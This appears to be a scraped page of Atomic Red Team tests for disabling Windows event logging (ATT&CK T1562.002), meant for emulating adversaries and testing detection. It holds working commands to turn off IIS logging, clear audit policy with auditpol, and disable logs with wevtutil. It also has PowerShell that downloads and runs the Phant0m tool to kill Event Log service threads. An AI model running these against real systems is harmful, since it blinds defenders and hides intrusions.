Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating toSecurity Settings\Local Policies\Audit Policy
for basic audit policy settings orSecurity Settings\Advanced Audit Policy Configuration
for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings)auditpol.exe
may also be used to set audit policies.(Citation: auditpol) Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using theSet-Service -Name EventLog -Status Stopped
orsc config eventlog start=disabled
commands (followed by manually stopping the service usingStop-Service -Name EventLog
).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value inHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog
then restarting the system for the change to take effect.(Citation: disable_win_evt_logging) There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the keyHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security
, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values inHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System
andHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application
to disable the entire EventLog.(Citation: disable_win_evt_logging) Additionally, adversaries may useauditpol
and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the/success
or/failure
parameters. For example,auditpol /set /category:”Account Logon” /success:disable /failure:disable
turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines:auditpol /clear /y
orauditpol /remove /allusers
.(Citation: T1562.002_redcanaryco) By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.
Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Supported Platforms: Windows
auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db
| Name | Description | Type | Default Value | |——|————-|——|—————| | website_name | The name of the website on a server | string | Default Web Site|
1
powershell
!1
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
1
2
3
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.
Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Supported Platforms: Windows
auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e
| Name | Description | Type | Default Value | |——|————-|——|—————| | website_name | The name of the website on a server | string | Default Web Site|
1
powershell
!1
set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true
1
2
3
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
Supported Platforms: Windows
auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd
1
powershell
! Elevation Required (e.g. root or admin)1
2
3
4
5
6
7
8
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
1
2
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
Disables the windows audit policy to prevent key host based telemetry being written into the event logs. Solarigate example
Supported Platforms: Windows
auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8
1
command_prompt
! Elevation Required (e.g. root or admin)auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.
Supported Platforms: Windows
auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6
1
command_prompt
! Elevation Required (e.g. root or admin)auditpol /clear /y
auditpol /remove /allusers
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Wevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
Supported Platforms: Windows
auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103
| Name | Description | Type | Default Value | |——|————-|——|—————| | log_name | Name of the log to be disabled | string | Microsoft-Windows-IKE/Operational|
1
command_prompt
!wevtutil sl "#{log_name}" /e:false
wevtutil sl "#{log_name}" /e:true
Use Phant0m to disable Eventlog
Supported Platforms: Windows
auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741
| Name | Description | Type | Default Value | |——|————-|——|—————| | file_name | exe version of Phant0m | path | PathToAtomicsFolder\T1562.002\bin\Phant0m.exe|
1
command_prompt
!"#{file_name}"
echo "Sorry you have to reboot"
1
powershell
!1
if (Test-Path "#{file_name}") {exit 0} else {exit 1}
1
2
New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing